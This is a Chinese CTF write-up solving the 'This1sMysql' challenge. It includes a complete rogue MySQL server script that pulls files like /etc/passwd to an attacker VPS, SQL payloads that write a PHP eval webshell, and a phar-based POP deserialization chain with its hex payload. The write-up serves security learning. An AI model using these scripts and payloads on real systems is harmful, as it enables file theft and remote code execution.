[NSSCTF题解][NSSRound#3 Team]This1sMysql
### 知识点
- Rogue-MySql-Server读取文件
- MySQL写入文件
- MySQL注入
- POP链构造
- Phar伪协议特性
过程
先进页面看看,因为直接明示了源码就没有扫目录收集其他信息之类的。
由于写这个题的时候第一个hint已经放出,所以就没细想,现在看来数据库连接参数完全可控,甚至可控连接配置,明摆的Rogue-MySql-Server
。
不懂这是啥的可以参考:浅析MySQL恶意服务器读取文件原理 (baidu.com)
脚本如下:
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter
_rouge_mysql_sever_read_file_result = {
}
_rouge_mysql_server_read_file_end = False
def checkVersionPy3():
return not version_info < (3, 0)
def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)
def _infoShow(*args):
if showInfo:
log.info(*args)
# ================================================
# =======No need to change after this lines=======
# ================================================
__author__ = 'Gifts'
__modify__ = 'Morouu'
global _rouge_mysql_sever_read_file_result
class _LastPacket(Exception):
pass
class _OutOfOrder(Exception):
pass
class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]
return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)
class _HttpRequestHandler(async_chat):
def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)
self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)
def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []
if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)
# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True
self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1
global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)
# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)
self.close_when_done()
elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()
class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)
if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()
self.listen(1)
def handle_accept(self):
pair = self.accept()
if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)
if _rouge_mysql_server_read_file_end:
self.close()
_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result
if __name__ == '__main__':
#fileName=需要读取文件,port=VPS随意开放的端口(注意端口不能为3306,原因为啥我忘了XD
#不用在意SQL语句、账户、密码、选用的库,这些并不影响脚本运行
for name, content in rouge_mysql_sever_read_file(fileName=["/etc/passwd"], port=24,showInfo=True).items():
print(name + ":\n" + content.decode())
放VPS上运行。
然后构造数据包控制容器去连接脚本搭建的假MySQL。
config[8]=true&mysql[host]=VPS的IP&mysql[user]=test&mysql[pass]=test&mysql[dbname]=test&mysql[port]=脚本中的使用的端口
需要注意$conn->set_opt
对应的实际上为mysqli_options
这个函数,Rogue-MySql-Server
需要在这个函数中设置对应的配置。
注意他需要的配置名是整型值,但在介绍页面中给出的是常量名,但我们是通过POST方式传过去的。
如果我们直接config[MYSQLI_OPT_LOCAL_INFILE]=true
这样,传过去的是字符串MYSQLI_OPT_LOCAL_INFILE
,所以需要获取其在PHP中定义对应的整型值,直接使用PHP代码如echo MYSQLI_OPT_LOCAL_INFILE;
这样就行(注意如上的配置项中的MYSQLI_INIT_COMMAND
,之后会用这一项配置来写文件)。
在发送数据包后,VPS这边就可以收到要读的文件内容了。
按照这个方法逐个读取在开始页面中可以见到的class.php
和function.php
。
<?php
#class.php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES;
}
function __toString(){
return $this->file["file"]["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
}
class Show{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function show()
{
$filename = $this->schema . $this->source;
include($filename);
}
public function __wakeup()
{
if ($this->schema !== 'php://filter/read=convert.base64-encode/resource=/tmp/') {
$this->schema = 'php://filter/read=convert.base64-encode/resource=/tmp/';
}
if ($this->source !== 'default.jpg') {
$this->source = 'default.jpg';
}
}
}
class Test{
public $test1;
public $test2;
function __toString(){
$str = $this->test2->test;
return 'test';
}
function __get($value){
return $this->$value;
}
function __destruct(){
echo $this->test1;
}
}
?>
<?php
#function.php
$mysqlpath = isset($_GET['mysqlpath'])?$_GET['mysqlpath']:'mysql.txt';
if(!file_exists($mysqlpath)){
die("NoNONo!");
}
else{
$arr = json_decode(file_get_contents($mysqlpath));
if($conn->real_connect($arr->host, $arr->user, $arr->pass, $arr->db, $arr->port)){
echo "connect success";
}
else{
echo "connect fail";
}
}
?>
可以发现还有个mysql.txt
文件,直接从浏览器查看,可以发现是容器自身的MySQL服务的账号信息。
审计完其中的逻辑后,可以发现接下来的目标可以归纳为如下几步(部分顺序不是严格的):
- 构造shell内容
- 写入shell到可写入的目录
- SQL盲注注出可写入文件的目录
- 构造特定数据包控制容器可连接上容器自身的MySQL服务
- 2的基础上利用MySQL配置项,在成功连接后执行SQL语句写入shell
- 根据
class.php
构造POP链,链的目的是使用其中include
去包含shell文件 - 将POP链存入Phar文件
- 同2中一样(盲注查目录不用)将Phar文件写入到可写入的目录
- 构造数据包通过
function.php
中逻辑使用phar伪协议触发Phar文件中POP链,借此就能连上shell了。
shell简单,随便构造个一句话就行了。
<?=eval($_POST[cmd])?>
至于注出可写入文件的目录这一步直接把我卡到比赛结束,想了半天目录,比赛完发现别的师傅直接注就行了...
这里采用Pysnow师傅的图(懒狗复现的时候妹有自己注)。
连容器自身的MySQL简单,账户信息都在MySQL
里面了,至于利用配置项这里用的是前面提过一下的MYSQLI_INIT_COMMAND
,同样需要获取到其对应的整型值。
最终构造完成的数据包如下:
config[3]=select '<?=eval($_POST[cmd])?>' into outfile '/nssctf/bad.php';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306
接下来是根据class.php
构造POP链,这次才发现原来POP链并不意味着只能是线性的。这里直接给出放入phar文件时的PHP代码。
<?php
class Upload {
}
class Show{
}
class Test{
}
$phar =new Phar("awsl.phar");
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
$a=new Test();
$b=new Show();
$a->test1=$b;
$c0=new Upload();
$c1=new Upload();
$b->str[0]=$c0;
$b->str[1]=$c1;
$d=new Show();
$c0->filesize=$d;
$c1->filesize=$d;
$c0->date="bad.php";
$c1->date="/nssctf/";
$e=new Test();
$c0->tmp=$e;
$c1->tmp=$e;
$e->test2=$d;
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
对应的流程图大概是如下这个样子。
由于并没有过多思考,逻辑上比较乱,也有很多地方可以优化(师傅们见笑了Orz)。本地测试时有很多Warnning
且最后会报Fatal Error
,不过是在成功用include
包含shell文件之后,shell中逻辑都执行完了,之后报错那也无关紧要了。
由于Phar文件中有不可见字符如\x00
这些,所以需要编码写入,一开始打算是base64的,但是执行失败,之后换了16进制就行了(可以用本地MySQL去读取Phar文件再传入HEX函数处理就能得到文件16禁止了,即select hex(LOAD_FILE('Phar文件路径'));
)。
但是还需要注意一点,使用outfile
写入文件会导致文件中\x00
被替换为转义后的格式即字符串\0
;而使用dumpfile
则可以保证内容为不被转义。具体可以参考:Mysql注入中的outfile、dumpfile、load_file函数详解_Mysql_脚本之家 (jb51.net)
最终构造好的数据包如下:
config[3]=select 0x5858583C3F70687020585858205F5F48414C545F434F4D50494C455228293B203F3E0D0A350100000100000011000000010000000000FF0000004F3A343A2254657374223A313A7B733A353A227465737431223B4F3A343A2253686F77223A313A7B733A333A22737472223B613A323A7B693A303B4F3A363A2255706C6F6164223A333A7B733A383A2266696C6573697A65223B4F3A343A2253686F77223A303A7B7D733A343A2264617465223B733A373A226261642E706870223B733A333A22746D70223B4F3A343A2254657374223A313A7B733A353A227465737432223B723A353B7D7D693A313B4F3A363A2255706C6F6164223A333A7B733A383A2266696C6573697A65223B723A353B733A343A2264617465223B733A383A222F6E73736374662F223B733A333A22746D70223B723A373B7D7D7D7D08000000746573742E74787404000000D6687F62040000000C7E7FD8B601000000000000746573745549676592BCD3EC8174ABF409E476A726F55F250200000047424D42 into dumpfile '/nssctf/phar.txt';&mysql[host]=127.0.0.1&mysql[user]=root&mysql[pass]=nssctf&mysql[dbname]=ctf&mysql[port]=3306
接下来就是去触发了,function.php
中的file_exists
是支持phar伪协议的,但需要注意phar伪协议的目标文件需要保证具有后缀,否则会报出如下错误(下图为本地演示)。
随后直接调用一句话中的接口就行了,flag在env中。
querying:mysqlpath=phar:///nssctf/phar.txt
body:cmd=system('env');